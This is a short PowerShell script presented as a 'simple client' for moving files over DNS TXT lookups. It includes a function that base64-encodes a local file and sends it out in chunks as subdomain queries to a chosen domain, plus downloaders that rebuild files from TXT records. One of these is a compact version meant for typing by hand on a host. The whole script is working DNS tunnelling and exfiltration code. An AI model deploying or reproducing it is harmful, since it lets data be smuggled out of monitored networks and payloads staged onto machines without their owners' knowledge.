# Simple Powershell client, also runs on linux with Powershell Core Function Get-DnsTxt { [CmdletBinding()] param([string] $Domain) Try { return (Resolve-DnsName -Type TXT $Domain).Strings } Catch [System.Management.Automation.CommandNotFoundException] { return dig +short $Domain TXT } } Function Get-DnsFile { [CmdletBinding()] param( [string] $FileName = $(Read-Host -Prompt 'Enter a FileName'), [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName') ) $count = [int](Get-DnsTxt -Domain "$FileName.count.$DnsName") $file_base64 = "" For ($i=0; $i -le $count; $i++) { $file_base64 += (Get-DnsTxt -Domain "$FileName.$i.$DnsName") } [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64)) } Function Push-DNSFile { [CmdletBinding()] param( [string] $FileName = $(Read-Host -Prompt 'Enter a Filename'), [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName') ) $id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-FileHash $FileName).Hash)).Substring(0,6) $content = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content -Path $FileName))) $i = 0 While ($true) { $url = ".$i-$id.$DnsName" $len = 63 - $url.Length $i++ if($len -lt $content.Length) { Get-DnsTxt -Domain ($content.Substring(0, $len) + $url) $content = $content.Substring($len) } else { Get-DnsTxt -Domain ($content + $url) break } } } # Minimal working example for download in case you have to type it all manually Function MWE { param([string] $f, [string] $d) $c = [int]((Resolve-DnsName -Type TXT "$f.count.$d").Strings) $o = "" For ($i=0; $i -le $c; $i++) { $o += (Resolve-DnsName -Type TXT "$f.$i.$d").Strings } [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($o)) }